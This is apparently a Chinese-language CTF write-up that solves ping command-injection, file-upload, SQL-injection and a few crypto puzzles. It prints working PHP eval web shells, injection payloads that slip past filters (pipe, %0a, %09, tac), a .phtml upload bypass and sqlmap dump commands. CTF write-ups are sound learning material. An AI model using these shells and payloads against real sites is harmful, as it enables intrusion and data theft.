web
**
ping
**
打开题目环境
先尝试用分号构造命令执行语句:127.0.0.1;ls
发现没有回显,再尝试用管道符:127.0.0.1|ls,发现flag文件
打开flag文件,构造命令执行语句:127.0.0.1|cat flag.txt
但是这个flag不是真正的flag,我们再进入index.php文件看一看
发现源码过滤了红框中的八种符号(这里注意管道符|后面还有一个空格,当时做题的时候就觉得很奇怪为什么过滤了管道符但是还能执行命令,赛后才发现管道符后面还有个空格!)
用…/返回根目录,看到真正的flag文件了
构造命令执行语句:|cat …/…/…/REAL_flLLLAAAag,(或者|cat /REAL_flLLLAAAag)执行后发现没有回显,查看网页源码得到flag,抓包也可以直接看到(好无语当时就差查看源码了。。我还以为我语句构造错了。。)
**
ping2
**
打开题目环境
这题比ping1过滤了更多字符,在ping输入框试了一下果然没有回显
我们在url框进行输入,用%0a绕过分号;用%09绕过空格 反斜杠\绕过/
用tac绕过cat
(cat由第一行开始显示内容,并将所有内容输出;tac从最后一行倒叙显示内容,并将所有内容输出)
用通配符*或者?代替单个或多个字符,绕过flag和YunXi
输入?ip=127.0.0.1%0als列出文件名
查看flag文件,果然又是假的
进入YunXi文件夹,看到真正的flag了
cd进入YunXi文件夹查看flag文件
查看网页源码,得到flag
这个题也可以用字符串拼接的方法做
**
upload
**
习惯性先传一个平平无奇一句话木马试试
<?php @eval($_POST['password']);?>
上传后抓包修改文件类型为image\png,得到信息不能为php文件
php1,php5,Php等均被过滤了,可以修改文件后缀名为phtml
(phtml一般是指嵌入了php代码的html文件,但仍会作为php解析)
修改文件类型和文件名后上传,显示只能上传jpg和png文件
直接传一个图片马,用get绕过post,改php为phtml
<?php @eval($_GET['shell']); echo"luck"; ?>
上传成功,现在需要知道文件保存的路径了,一般是upload/filename,试一下upload
进入lslsls.phtml文件
使用get的方式cat flag(注意flag在根目录下!最后不要忘记加分号!)
得到flag了了了了
**
EZ_sql
**
进入题目环境,小吓一跳
抓包登录信息 放进post.txt文件
用sqlmap梭一把
先爆数据库
sqlmap.py -r "C:\Users\86159\Desktop\post.txt" -p u --dbs
爆表
sqlmap.py -r "C:\Users\86159\Desktop\post.txt" -p u -D challenges --tables
爆字段
sqlmap.py -r "C:\Users\86159\Desktop\post.txt" -p u -D challenges -T fl44444g -C flag --dump
得到flag
Crypto&Misc
emo
打开题目文件,是一串emoji表情
之前看字符编码的时候有看到过关于emoji表情的编码,于是用解码器解码得到:
l{ji1j8-ll2rkj-i46089}g270-03606m0l44-926g
这串字符的形式很像flag,用栅栏密码试试,每组字数为4的时候得到:
lrgm{k20jj7li-041i-4j40-8639-062l806l96g2}
已经很接近flag的形式了,但是仔细观察发现没有f字母,这个时候想到凯撒密码会对字符进行替换,偏移量为6的时候得到flag:
flag{e20dd7fc-041c-4d40-8639-062f806f96a2}
RSA
将rsa.py文件用记事本打开,得到flag
签到
base64解码两次,url解码一次,去掉最后的7得到flag